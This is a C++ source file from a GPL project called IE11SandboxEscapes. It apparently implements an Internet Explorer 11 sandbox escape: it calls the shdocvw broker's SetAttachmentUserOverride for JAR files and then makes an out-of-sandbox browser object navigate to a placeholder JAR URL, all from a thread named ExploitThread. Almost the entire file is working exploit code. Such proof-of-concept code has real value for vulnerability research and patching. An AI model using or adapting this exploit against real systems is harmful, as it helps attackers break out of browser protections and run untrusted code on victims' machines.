// This file is part of IE11SandboxEsacapes.

// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.

// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.

#include "stdafx.h"
#include <Utils.h>
#include <Shlwapi.h>
#include <Exdisp.h>

_COM_SMARTPTR_TYPEDEF(IWebBrowser2, __uuidof(IWebBrowser2));

void DoSetAttachmentUserOverride()
{
	IShdocvwBroker* shdocvw = nullptr;

	try
	{	
		HRESULT ret;
		shdocvw = CreateSHDocVw();
						
		CLSID clsid;

		CLSIDFromString(L"{0002DF01-0000-0000-C000-000000000046}", &clsid);

		IWebBrowser2Ptr browser;

		ret = CoCreateInstance(clsid, nullptr, CLSCTX_SERVER, IID_PPV_ARGS(&browser));
		if (FAILED(ret))
		{
			DebugPrintf("CoCreateInstance: %08X", ret);
			throw new _com_error(ret);
		}

		DebugPrintf("browser: %p", browser);

		unsigned char buf[1] = { 0 };

		ret = shdocvw->SetAttachmentUserOverride(L"jarfile");
		if (FAILED(ret))
		{
			DebugPrintf("Failed to set attachement user override\n");
			throw new _com_error(ret);
		}

		bstr_t nav = L"http://www.dummy.local/testapp.jar";

		DebugPrintf("Navigate: %08X", browser->Navigate(nav, nullptr, nullptr, nullptr, nullptr));			
	}
	catch (_com_error e)
	{
		DebugPrintf("Error during processing: %ls\n", e.ErrorMessage());
	}	

	if (shdocvw)
	{
		shdocvw->Release();
		shdocvw = nullptr;
	}
}

DWORD CALLBACK ExploitThread(LPVOID hModule)
{
	CoInitialize(nullptr);
	DoSetAttachmentUserOverride();
	CoUninitialize();

	FreeLibraryAndExitThread((HMODULE)hModule, 0);

	return 0;
}